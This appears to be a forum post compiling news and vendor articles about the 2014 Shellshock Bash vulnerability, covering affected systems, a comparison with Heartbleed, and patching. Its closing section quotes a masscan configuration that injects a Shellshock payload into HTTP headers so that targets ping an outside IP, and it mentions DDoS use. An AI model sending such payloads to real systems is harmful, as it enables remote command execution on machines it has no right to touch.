By now, you may have heard about CVE-2014-6271, also known as the "bash
bug", or even "Shell Shock", depending on where you get your news. This
vulnerability was discovered by Stephane Chazelas of Akamai and is
potentially a big deal. It’s rated the maximum CVSS score of 10 for
impact and ease of exploitability. The affected software, Bash (the
Bourne Again SHell), is present on most Linux, BSD, and Unix-like
systems, including Mac OS X. New packages were released today, but
further investigation made it clear that the patched version may still
be exploitable, and at the very least can be crashed due to a null
pointer exception. The incomplete fix is being tracked as CVE-2014-7169.
Should I panic?
The
vulnerability looks pretty awful at first glance, but most systems with
Bash installed will NOT be remotely exploitable as a result of this
issue. In order to exploit this flaw, an attacker would need the ability
to send a malicious environment variable to a program interacting with
the network and this program would have to be implemented in Bash, or
spawn a sub-command using Bash. The Red Hat blog post goes into detail
on the conditions required for a remote attack. The most commonly
exposed vector is likely going to be legacy web applications that use
the standard CGI implementation. On multi-user systems, setuid
applications that spawn "safe" commands on behalf of the user may also
be subverted using this flaw. Successful exploitation of this
vulnerability would allow an attacker to execute arbitrary system
commands at a privilege level equivalent to the affected process.
What is vulnerable?
This
attack revolves around Bash itself, and not a particular application,
so the paths to exploitation are complex and varied. So far, the
Metasploit team has been focusing on the web-based vectors since those
seem to be the most likely avenues of attack. Standard CGI applications
accept a number of parameters from the user, including the browser's
user agent string, and store these in the process environment before
executing the application. A CGI application that is written in Bash or
calls system() or popen() is likely to be vulnerable, assuming that the
default shell is Bash.
Secure Shell (SSH) will also
happily pass arbitrary environment variables to Bash, but this vector is
only relevant when the attacker has valid SSH credentials, but is
restricted to a limited environment or a specific command. The SSH
vector is likely to affect source code management systems and the
administrative command-line consoles of various network appliances
(virtual or otherwise).
There are likely many other
vectors (DHCP client scripts, etc), but they will depend on whether the
default shell is Bash or an alternative such as Dash, Zsh, Ash, or
Busybox, which are not affected by this issue.
Modern
web frameworks are generally not going to be affected. Simpler web
interfaces, like those you find on routers, switches, industrial control
systems, and other network devices are unlikely to be affected either,
as they either run proprietary operating systems, or they use Busybox or
Ash as their default shell in order to conserve memory. A quick review
of a approximately 50 firmware images from a variety of enterprise,
industrial, and consumer devices turned up no instances where Bash was
included in the filesystem. By contrast, a cursory review of a handful
of virtual appliances had a 100% hit rate, but the web applications were
not vulnerable due to how the web server was configured. As a
counter-point, Digital Bond believes that quite a few ICS and SCADA
systems include the vulnerable version of Bash, as outlined in their
blog post. Robert Graham of Errata Security believes there is potential
for a worm after he identified a few thousand vulnerable systems using
Masscan. The esteemed Michal Zalewski also weighed in on the potential
impact of this issue.
In summary, there just isn't enough information available to predict how many systems are potentially exploitable today.
The two most likely situations where this vulnerability will be exploited in the wild:
1) Diagnostic CGI scripts that are written in Bash or call out to system() where Bash is the default shell
2) PHP applications running in CGI mode that call out to system() and where Bash is the default shell
Bottom
line: This bug is going to affect an unknowable number of products and
systems, but the conditions to exploit it are fairly uncommon for remote
exploitation.
Update: A DDoS bot that exploits this issue has already been found in the wild by @yinettesys
Is it as bad as Heartbleed?
There
has been a great deal of debate on this in the community, and we’re not
keen to jump on the “Heartbleed 2.0” bandwagon. The conclusion we
reached is that some factors are worse, but the overall picture is less
dire. This vulnerability enables attackers to not just steal
confidential information as with Heartbleed, but also to take over the
device or system and execute code remotely. From what we can tell, the
vulnerability is most likely to affect a lot of systems, but it isn't
clear which ones, or how difficult those systems will be to patch. The
vulnerability is also incredibly easy to exploit. Put that together and
you are looking at a lot of confusion and the potential for large-scale
attacks.
BUT – and that’s a big but – per the above,
there are a number of factors that need to be in play for a target to be
susceptible to attack. Every affected application may be exploitable
through a slightly different vector or have different requirements to
reach the vulnerable code. This may significantly limit how widespread
attacks will be in the wild. Heartbleed was much easier to conclusively
test and the impact way more widespread.
How can you protect yourself?
The
most straightforward answer is to deploy the patches that have been
released as soon as possible. Even though CVE-2014-6271 is not a
complete fix, the patched packages are more complicated to exploit. We
expect to see new packages arrive to address CVE-2014-7169 in the near
future. If you have systems that cannot be patched (for example systems
that are End-of-Life), it’s critical that they are protected behind a
firewall. A big one. And test whether that firewall is secure.
What can we do to help?
Rapid7's
Nexpose and Metasploit products have been updated to assist with the
detection and verification of these issues. Nexpose has been updated to
check for CVE-2014-6271 via credentialed scans and will be updated again
soon to cover the new packages released for CVE-2014-7169. Metasploit
added a module to the framework a few hours ago and it will become
available in both Metasploit Community and Metasploit Pro in our weekly
update. We strongly recommend that you test your systems as soon as
possible and deploy any necessary mitigations. If you would like some
advice on how to handle this situation, our Services team can help
Update
A bug discovered in the widely used Bash command interpreter
poses a critical security risk to Unix and Linux systems – and, thanks
to their ubiquity, the internet at large.
It lands countless websites, servers, PCs, OS X Macs, various home routers, and more, in danger of hijacking by hackers.
The
vulnerability is present in Bash up to and including version 4.3, and
was discovered by Stephane Chazelas. It puts Apache web servers, in
particular, at risk of compromise: CGI scripts that use or invoke Bash
in any way – including any child processes spawned by the scripts – are
vulnerable to remote-code injection. OpenSSH and some DHCP clients are
also affected on machines that use Bash.
Ubuntu and other
Debian-derived systems that use Dash exclusively are not at risk – Dash
isn't vulnerable, but busted versions of Bash may well be present on the
systems anyway. It's essential you check the shell interpreters you're
using, and any Bash packages you have installed, and patch if necessary.
"Holy
cow. There are a lot of .mil and .gov sites that are going to get
owned," security expert Kenn White said on Wednesday in reaction to the
disclosed flaw.
The 22-year-old bug, dating back to version 1.13,
lies in Bash's handling of environment variables: when assigning a
function to a variable, trailing code in the function definition will be
executed, leaving the door wide open for code-injection attacks. The
vulnerability is exploitable remotely if code can be smuggled into
environment variables sent over the network – and it's surprisingly easy
to do so.
According to the NIST vulnerability database, which rates the flaw 10 out of 10 in terms of severity:
GNU Bash through 4.3 processes trailing strings after function
definitions in the values of environment variables, which allows remote
attackers to execute arbitrary code via a crafted environment, as
demonstrated by vectors involving the ForceCommand feature in OpenSSH
sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server,
scripts executed by unspecified DHCP clients, and other situations in
which setting the environment occurs across a privilege boundary from
Bash execution.
Authentication: Not required to exploit
Impact Type: Allows unauthorized disclosure of information; Allows unauthorized modification; Allows disruption of service
An advisory from Akamai explains the problem in more depth, as does this OSS-Sec mailing list post.
Proof-of-concept
code for exploiting Bash-using CGI scripts to run code with the same
privileges as the web server is already floating around the web. A
simple Wget fetch can trigger the bug on a vulnerable system.
A nasty bug in many of the world’s Linux and Unix operating systems
could allow malicious hackers to create a computer worm that wreaks
havoc on machines across the globe, security experts say.
The
flaw, called Shellshock, is being compared to last spring’s Heartbleed
bug because it lets attackers do some nasty stuff—in this case, run
unauthorized code—on a large number of Linux computer servers. The flaw
lies in Bash, a standard Unix program that’s used to connect with the
computer’s operating system.
The good news is that it doesn’t
take long to patch the bug. At internet infrastructure provider
CloudFlare, admins scrambled for about an hour this morning to fix the
flaw, which was disclosed late on Tuesday. “We got 95 percent of it done
within 10 minutes,” says Ryan Lackey a security engineer at the
company.
The flaw is being compared to last spring’s Heartbleed
bug because it lets attackers do some nasty stuff on a large number of
Linux servers
Because Shellshock is easy to exploit—it only takes
about three lines of code to attack a vulnerable server—Lackey and
other security experts think there’s a pretty good chance that someone
will write a worm code that will jump from vulnerable system to
vulnerable system, creating hassles for the world’s system
administrators. “People are already exploiting it in the wild manually,
so a worm is a natural outgrowth of that,” Lackey says.
To
exploit the bug, the bad guys need to connect to software such as PHP or
DHCP—which use bash to launch programs within the server’s operating
system
I'm at the Virus Bulletin 2014 Conference, taking bets on when we'll see a worm exploiting the #Shellshock bash bug.
— Mikko Hypponen (@mikko) September 25, 2014
There
are still some important questions about the bug. One is whether other
operating systems that use Bash—Mac OS, for example—are vulnerable.
Another big one: how many linux server applications and appliance-like
Linux devices—things like storage servers or video recording
devices—might be vulnerable to the flaw. Many of these Linux systems to
not use the Bash software, but those that do could be vulnerable to
attack and difficult to patch.
In the grand scheme of things,
Shellshock is not as big of a problem as, say, phishing attacks, which
continue to trick internet users, says Robert Graham, CEO of Errata
Security. However, it’s “slightly worse then Heartbleed,” he says. “It’s
in more systems. It’s going to be harder to track them down and patch
them, and you can immediately exploit it with remote code execution.”
Heartbleed let criminals steal your username and passwords, but it
didn’t make it quite so easy to run your own malicious software on a
vulnerable system, Graham says.
Like Heartbleed, the new bug has
been around for a long time, and was introduced in a widely used piece
of open source software. In the wake of Heartbleed, the open source
community came up with some money to beef up the security of several
popular open-source tools. And it may be time to add a few
more—including Bash— to that list.
Exploiting the BUG
This article has a nice example of exploiting this bug:
Exploiting the Bug
By creating a HTTP request like this:
Code[select]
target = 0.0.0.0/0
port = 80
banners = true
http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
http-header = Cookie:() { :; }; ping -c 3 209.126.230.74
http-header = Host:() { :; }; ping -c 3 209.126.230.74
http-header = Referer:() { :; }; ping -c 3 209.126.230.74
The attacker is able to (in this situation) have the target ping a
specific IP. Imagine many targets doing this simultaneously to perform a
DDOS attack as seen in the post below:
</DDOS>
-Article Credited to Various Sources-
